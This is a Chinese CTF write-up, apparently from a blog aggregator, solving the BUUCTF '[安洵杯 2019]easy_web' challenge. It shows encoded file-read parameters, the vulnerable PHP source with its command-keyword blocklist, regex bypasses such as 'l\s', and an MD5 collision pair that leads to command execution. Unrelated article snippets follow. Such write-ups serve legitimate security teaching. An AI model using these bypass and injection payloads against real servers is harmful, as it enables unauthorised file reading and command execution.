当前位置： 首页 > news >正文

buuctf_练[安洵杯 2019]easy_web

news 2026/4/3 21:46:59

[安洵杯 2019]easy_web

文章目录

      • [安洵杯 2019]easy_web
      • 掌握知识
      • 解题思路
        • 代码分析
        • 正式解题
      • 关键paylaod

在这里插入图片描述

掌握知识

url地址和源代码的信息捕捉；图片和base64之间转换；base64和十六进制编码的了解；代码审计，绕过正则匹配对关键字的过滤；MD5碰撞，md5参数强转类型的强等于绕过

解题思路

  1. 打开题目地址，发现网页信息，狠狠地真实了WEB手。网页没看出什么内容，先查看源代码，发现了一个图片的html标签，里面是对其图片信息进行base64的结果

image-20231027194617221

image-20231027194707860

  1. 没发现特别的信息，看了一眼url地址发现直接给出了了两个参数，查看参数名能感觉到第一个是图片名第二个应该是要执行的命令。但是第一个参数很明显是进行编码的，看其很像是base64经过两次base64和一次十六进制解码得到了文件名为555.png。

image-20231027194939262

image-20231027194944058

  1. 联想一下刚才图片标签中的base64信息，猜测修改文件名就可以进行文件读取的操作。尝试读取index.php文件，先进性16进制编码在进行两次base64进行传参，将标签内的base64编码进行解码，得到了index.php的源代码
index.php
696e6465782e706870
Njk2ZTY0NjU3ODJlNzA2ODcw
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

image-20231027195208334

image-20231027195202961

  1. 得到了源代码就要开始代码审计了，先进性一下简单分析发现关键点在cmd参数，img参数传参再利用完文件读取就没有什么用处了。cmd的参数是系统命令，其中需要绕过挺多的正则的，但都是关键字匹配，可以使用参杂符号来进行绕过，关键的几个符号没有背过滤就好。在执行命令前还需要通过md5的强比较，这里进行了类型的强转，所以使用数组就不可以了，但是相关的paylaod网上还是随便搜索的
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {echo '<img src ="./ctf3.jpeg">';die("xixi嚚?no flag");
} else {$txt = base64_encode(file_get_contents($file));echo "<img src='data:image/gif;base64," . $txt . "'></img>";echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {echo("forbid ~");echo "<br>";
} else {if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {echo `$cmd`;} else {echo ("md5 is funny ~");}
}?>
<html>
<style>body{background:url(./bj.png)  no-repeat center center;background-size:cover;background-attachment:fixed;background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
代码分析
  1. 对于改题目的正则匹配，ls被过滤了但是依旧可以使用参杂符号的形式来绕过，例如l''s l\s进行绕过，这里在shell解析器中都会被当作ls执行，但这里单引号被过滤了，就使用后者进行绕过，读取文件的命令有很多，这里可以使用掺杂符号进行绕过，还可以使用其他的命令进行查看文件内容。没有过滤空格和/还是不错的
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {echo("forbid ~");echo "<br>";
}
  1. 很明显这是md5函数绕过的判断，不同以往的md5强比较的题目，这里对传入的值进行了了强转字符型的操作，这样就不能使用数组进行绕过了，需要去进行md5碰撞得到两个字符串不相同但是md5的结果相同的。当然这在网上已经烂大街了，搜索一下md5碰撞绕过也就能找到相应的paylaod。通过这波判断也就能执行传入的命令了
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {echo `$cmd`;} else {echo ("md5 is funny ~");}
正式解题
  1. 绕过的条件已经分析好了，直接使用分析得到了的paylaod进行抓包传参，发现目录下并没有flag，前去查看根目录发现flag文件。毕竟是GET传参还是bp抓包，所以空格还是替换成%20才能够被解析

image-20231027200553218

image-20231027200558938

  1. 这里就不使用参杂符号绕过了，使用sort进行读取文件得到flag

image-20231027200715672

关键paylaod

index.php
696e6465782e706870
Njk2ZTY0NjU3ODJlNzA2ODcw
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3cmd=l\s
cmd=l\s%20/
cmd=sort%20/flaga=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

相关文章：

buuctf_练[安洵杯 2019]easy_web

[安洵杯 2019]easy_web 文章目录 [安洵杯 2019]easy_web掌握知识解题思路代码分析正式解题 关键paylaod 掌握知识 url地址和源代码的信息捕捉&#xff1b;图片和base64之间转换&#xff1b;base64和十六进制编码的了解&#xff1b;代码审计&#xff0c;绕过正则匹配对关键字的…...

编程日记 2023/10/29 8:21:28

入学生活科研随笔

近而立之年&#xff0c;巅峰享受的时期有两段。一是高考后&#xff0c;收到入学通知书。早晨&#xff0c;八点多&#xff0c;我醒来在院子里看到&#xff0c;爸爸在门口和邮政快递员寒暄。那天应该是8月15号&#xff0c;清晨凉凉爽爽的&#xff0c;杨树遮住了大半个院子。第二段…...

编程日记 2023/10/29 8:20:27

【1++的Linux】之进程间通信（共享内存）

&#x1f44d;作者主页&#xff1a;进击的1 &#x1f929; 专栏链接&#xff1a;【1的Linux】 我们在前面的文章中提到过&#xff0c;进程间的通信本质都是先看到同一块资源&#xff0c;然后通过这同一块资源进行通信&#xff0c;并且是单向的通信&#xff0c;只能一端发&#…...

编程日记 2023/10/29 8:19:25

Linux高性能服务器编程——ch8笔记

第8章 高性能服务器程序框架 8.1 服务器模型 服务器启动后&#xff0c;首先创建一个&#xff08;或多个&#xff09;监听socket&#xff0c;并调用bind函数将其绑定到服务器感兴趣的端口&#xff0c;然后调用listen函数等待客户连接。服务器稳定运行之后&#xff0c;客户端就可…...

编程日记 2023/10/29 8:18:24

Android WMS——ViewRootImpl分析（六）

一、简介 ViewRootImpl是View中的最高层级，属于所有View的根（但ViewRootImpl不是View，只是实现了ViewParent接口），维护了整个视图结构，并作为输入事件的分发器和绘图管道的输入端点，承担着输入事件分发、窗口管理、视图绘制和系统事件响应等关键角色。对于Android应用程…...

编程日记 2023/10/29 8:16:23

Unsatisfied dependency expressed through bean property ‘sqlSessionTemplate‘；

代码没有问题&#xff0c;但是启动运行报错 2023-10-25 16:59:38.165 INFO 228964 --- [ main] c.h.h.HailiaowenanApplication : Starting HailiaowenanApplication on ganluhua with PID 228964 (D:\ganluhua\code\java\hailiao-java\target\classes …...

编程日记 2023/10/29 8:14:21

【C++】智能指针：auto_ptr、unique_ptr、share_ptr、weak_ptr（技术介绍 + 代码实现）（待更新）

文章目录 0. 概述智能指针&#xff0c;智能在哪儿&#xff1f;RAII 的介绍四个智能指针的特点&#xff1a; 1. auto_ptr&#xff08;C98&#xff09;&#x1f40e;核心功能的简单实现 2. unique_ptr&#xff08;C11&#xff09;&#x1f40e;核心功能的简单实现 3. shared_ptr&…...

编程日记 2023/10/29 8:12:19

nodejs+vue全国公考岗位及报考人数分析

传统的搜索引擎尽管解决了信息搜索问题&#xff0c;但无法进行有效的数据分析和优质资源的获取。并且&#xff0c;人们的需求不同&#xff0c;数据的要求也不同。为了解决这一问题&#xff0c;定向抓取数据的爬虫诞生了。它的诞生把人们从重复性的劳动中解放出来&#xff0c;节…...

编程日记 2023/10/29 8:11:17

【0基础学Java第二课】数据类型与变量

2. 数据类型与变量 2.1 字面常量2.2 数据类型2.3 变量2.3.1 变量概念2.3.2 语法格式 2.4 整型变量2.4.1 整型变量2.4.2 长整型变量2.4.3 短整型变量2.4.4 字节型变量 2.5 浮点型变量2.6 字符型2.7 布尔型变量2.8 类型转换2.9 类型提升2.10 字符串类型2.10.1 字符串拼接操作符 2…...

编程日记 2023/10/29 8:10:16

Pytorch整体工作流程代码详解（新手入门）

一、前言 本文详细介绍Pytorch的基本工作流程及代码&#xff0c;以及如何在GPU上训练模型&#xff08;如下图所示&#xff09;包括数据准备、模型搭建、模型训练、评估及模型的保存和载入。 适用读者&#xff1a;有一定的Python和机器学习基础的深度学习/Pytorch初学者。 本文…...

编程日记 2023/10/29 8:09:14

读图数据库实战笔记02_图数据建模

1. 概念 1.1. 实体 1.1.1. 通常用名词来表示 1.1.2. 描述一个领域中的事物或者事物类型 1.1.2.1. 汽车 1.1.2.2. 用户 1.1.2.3. 地理位置 1.1.3. 在逻辑模型和技术实现过程中&#xff0c;实体通常会变成“顶点” 1.2. 关系 1.2.1. 用动词&#xff08;或动词短语&#…...

编程日记 2023/10/29 8:07:13

竞赛 深度学习卫星遥感图像检测与识别 -opencv python 目标检测

文章目录 0 前言1 课题背景2 实现效果3 Yolov5算法4 数据处理和训练5 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; **深度学习卫星遥感图像检测与识别 ** 该项目较为新颖&#xff0c;适合作为竞赛课题方向&#xff0c;学长非常推荐…...

编程日记 2023/10/29 8:06:11

对Happens-Before的理解

Happens-Before Happens-Before 是一种可见性模型&#xff0c;也就是说&#xff0c;在多线程环境下。原本因为指令重排序的存在会导致数据的可见性问题&#xff0c;也就是 A 线程修改某个共享变量对 B 线程不可见。因此&#xff0c;JMM 通过 Happens-Before 关系向开发人员提供…...

编程日记 2023/10/29 8:05:10

分类预测 | MATLAB实现SSA-CNN-BiGRU麻雀算法优化卷积双向门控循环单元数据分类预测

分类预测 | MATLAB实现SSA-CNN-BiGRU麻雀算法优化卷积双向门控循环单元数据分类预测 目录 分类预测 | MATLAB实现SSA-CNN-BiGRU麻雀算法优化卷积双向门控循环单元数据分类预测分类效果基本描述程序设计参考资料 分类效果 基本描述 1.MATLAB实现SSA-CNN-BiGRU麻雀算法优化卷积双…...

编程日记 2023/10/29 8:03:08

Java面试八股文之暑假合集

八股文暑假合集 基础篇二分查找 java基础篇7月12号面向对象和面向过程的区别重载和重写String 7月13号自动装箱和拆箱静态方法构造方法成员变量和局部变量对象引用和对象实例返回值 与equals(重要)hashcode()和equals()HashMap 7月16号线程&#xff0c;进程和程序final关键字的…...

编程日记 2023/10/29 8:02:08

竞赛选题 深度学习卫星遥感图像检测与识别 -opencv python 目标检测

文章目录 0 前言1 课题背景2 实现效果3 Yolov5算法4 数据处理和训练5 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; **深度学习卫星遥感图像检测与识别 ** 该项目较为新颖&#xff0c;适合作为竞赛课题方向&#xff0c;学长非常推荐…...

编程日记 2023/10/29 7:59:02

机器学习第一周

一、概述 机器学习大致会被划分为两类&#xff1a;监督学习&#xff0c;无监督学习 1.1 监督学习 监督学习其实就是&#xff0c;给计算机一些输入x和正确的输出y&#xff08;训练数据集&#xff09;&#xff0c;让他总结x->y的映射关系&#xff0c;从而给他其他的输入x&a…...

编程日记 2023/10/29 7:58:00

大数据采集技术与预处理学习一：大数据概念、数据预处理、网络数据采集

目录 大数据概念&#xff1a; 1.数据采集过程中会采集哪些类型的数据&#xff1f; 2.非结构化数据采集的特点是什么&#xff1f; 3.请阐述传统的数据采集与大数据采集的区别&#xff1f; ​​​​​​​ ​​​​​​​4.大数据采集的数据源有哪些&#xff1f;针对不同的数…...

编程日记 2023/10/29 7:56:59

MySQL - 为什么索引结构默认使用B+树，而不是其他?

B-Tree的缺点&#xff1a; 范围查询效率相对较低&#xff1a;虽然B-Tree支持范围查询&#xff0c;但在实际操作中可能需要进行多次树遍历&#xff0c;性能较差。磁盘空间利用不高&#xff1a;B-Tree中的非叶子节点也存储数据&#xff0c;导致磁盘空间利用率相对较低。更复杂的平…...

编程日记 2023/10/29 7:55:58

信息系统项目管理师教程 第四版【第3章-信息系统治理-思维导图】

信息系统项目管理师教程 第四版【第3章-信息系统治理-思维导图】...

编程日记 2023/10/29 7:54:56

CST可调谐太赫兹超材料吸收器仿真教学，石墨烯，二氧化钒，锑化铟等材料设置 包括建模过程，后处理

CST可调谐太赫兹超材料吸收器仿真教学&#xff0c;石墨烯&#xff0c;二氧化钒&#xff0c;锑化铟等材料设置 包括建模过程&#xff0c;后处理&#xff0c;吸收光谱图教学等 包括宽带吸收器、窄带&#xff0c;以及宽窄带吸收器设计"打开CST微波工作室&#xff0c;先别急着…...

编程新知 2026/4/3 21:41:58

Thorium浏览器：为什么这个基于Chromium的优化版本能解决你90%的性能痛点？

Thorium浏览器&#xff1a;为什么这个基于Chromium的优化版本能解决你90%的性能痛点&#xff1f; 【免费下载链接】thorium Chromium fork named after radioactive element No. 90. Source code and Linux releases. Windows/MacOS/ARM builds served in different repos, lin…...

编程新知 2026/4/3 21:07:41

安规标准考核题库-2（IEC 62477-1:2012+AMD1:2022 ）

本题库严格对标 IEC 62477-1:2012《电力电子变换器系统和设备安全要求 第 1 部分&#xff1a;总则》AMD1:2022 修订版&#xff0c;贴合储能双向 PCS 的设计、测试、认证全流程场景&#xff0c;分为判断题、单选题、多选题三类&#xff0c;所有题目均附标准条款依据与详细解答。…...

编程新知 2026/4/3 18:07:33

数字孪生技术的测试方法论：虚拟与现实的同步

对于软件测试从业者而言&#xff0c;数字孪生技术的崛起正引发一场深刻的范式革命。测试的对象已从传统的、边界清晰的软件系统&#xff0c;演变为一个由物理实体、动态数字模型、实时数据流以及控制闭环构成的复杂异构系统。这一转变将测试工作的核心&#xff0c;从验证“功能…...

编程新知 2026/4/3 17:41:17

WindowResizer：打破窗口限制，实现Windows窗口自由调整的终极解决方案

WindowResizer&#xff1a;打破窗口限制&#xff0c;实现Windows窗口自由调整的终极解决方案 【免费下载链接】WindowResizer 一个可以强制调整应用程序窗口大小的工具 项目地址: https://gitcode.com/gh_mirrors/wi/WindowResizer 你是否曾遇到过某些应用程序窗口大小被…...

编程新知 2026/4/3 16:09:53

3个突破性方法让你永久掌控数字阅读自由

3个突破性方法让你永久掌控数字阅读自由 【免费下载链接】fanqienovel-downloader 下载番茄小说 项目地址: https://gitcode.com/gh_mirrors/fa/fanqienovel-downloader 你是否曾经历过这样的窘境&#xff1a;在通勤途中想继续阅读昨晚未看完的小说&#xff0c;却发现网…...

编程新知 2026/4/3 13:15:02

Phi-4-mini-reasoning从零开始：CSDN GPU实例上免配置Web服务部署

Phi-4-mini-reasoning从零开始&#xff1a;CSDN GPU实例上免配置Web服务部署 1. 模型介绍 Phi-4-mini-reasoning 是一款专注于推理任务的文本生成模型&#xff0c;特别擅长处理需要多步逻辑分析的场景。与通用聊天模型不同&#xff0c;它更专注于"问题输入→推理过程→最…...

编程新知 2026/4/3 12:56:50

《数字孪生为什么90%都是假的》——没有空间数据的“孪生”，只是一个会动的PPT

一、摘要&#xff08;Executive Summary&#xff09;近年来&#xff0c;“数字孪生&#xff08;Digital Twin&#xff09;”成为智慧城市、工业互联网与数字基础设施建设中的核心关键词。然而&#xff0c;在大量实际项目中&#xff0c;所谓“数字孪生系统”仅停留在三维建模与数…...

编程新知 2026/4/3 12:48:36

龙虾成本狂降58%！清华人大面壁等最新开源“智能调度员”

允中 发自 凹非寺量子位 | 公众号 QbitAI把Agent接入工作流&#xff0c;本该是件提效的乐事。但现实往往是&#xff1a;为了保住数据隐私&#xff0c;只能守着本地“智商有限”的小模型死磕&#xff1b;为了追求极致性能&#xff0c;又不得不眼睁睁看着云端API烧掉大把经费&…...

编程新知 2026/4/3 12:22:28

OpenClaw+Qwen3.5-9B低成本方案：自建接口替代OpenAI API

OpenClawQwen3.5-9B低成本方案&#xff1a;自建接口替代OpenAI API 1. 为什么选择Qwen3.5-9B作为OpenClaw的本地大脑 去年冬天&#xff0c;当我第一次尝试用OpenClaw自动化处理周报时&#xff0c;被OpenAI API的账单吓了一跳——简单的文件整理和摘要生成&#xff0c;一周竟消…...

编程新知 2026/4/3 12:08:20